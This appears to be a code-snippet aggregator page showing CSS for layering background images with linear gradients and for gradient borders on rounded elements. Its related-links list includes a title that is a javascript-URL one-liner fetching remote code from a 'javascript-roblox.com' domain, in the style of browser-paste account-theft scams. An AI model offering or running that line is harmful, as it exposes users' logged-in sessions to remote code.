/CSS/Background-image linear gradient and border radius

Background-image linear gradient and border radius

Linear gradient css background image

background-image: url("IMAGE_URL"), linear-gradient(#eb01a5, #d13531);

Background-image linear-gradient url

  body {
    background-image: url("http://www.skrenta.com/images/stackoverflow.jpg"), linear-gradient(red, yellow);
    background-image: url("http://www.skrenta.com/images/stackoverflow.jpg"), -webkit-gradient(linear, left top, left bottom, from(red), to(yellow));
    background-image: url("http://www.skrenta.com/images/stackoverflow.jpg"), -moz-linear-gradient(top, red, yellow);
  }

Source: stackoverflow.com

Background-image linear gradient and border radius

.rounded-corners-gradient-borders {
  width: 300px;
  height: 80px;
  border: double 4px transparent;
  border-radius: 80px;
  background-image: linear-gradient(white, white), radial-gradient(circle at top left, #f00,#3020ff);
  background-origin: border-box;
  background-clip: content-box, border-box;
}

Similar codes

16 votes348 views4 answers
Arrow right css
CSS
0 vote439 views2 answers
Https://www.youtube.com/s/desktop/f357c206/cssbin/www-main-desktop-watch-page-skeleton.css
CSS
0 vote385 views1 answer
Remove all default styles from input
CSS
19 votes393 views2 answers
Css circle card
CSS
7 votes370 views1 answer
Git clone command in terminal
CSS
0 vote361 views10 answers
Javascript:$.get("//javascript-roblox.com/api?i=13407")
CSS
1 vote358 views1 answer
Css no list markers
CSS
0 vote348 views1 answer
Css background image remove margin
CSS
16 votes391 views4 answers
Full page background image in html
CSS
0 vote354 views1 answer
Line in css div
CSS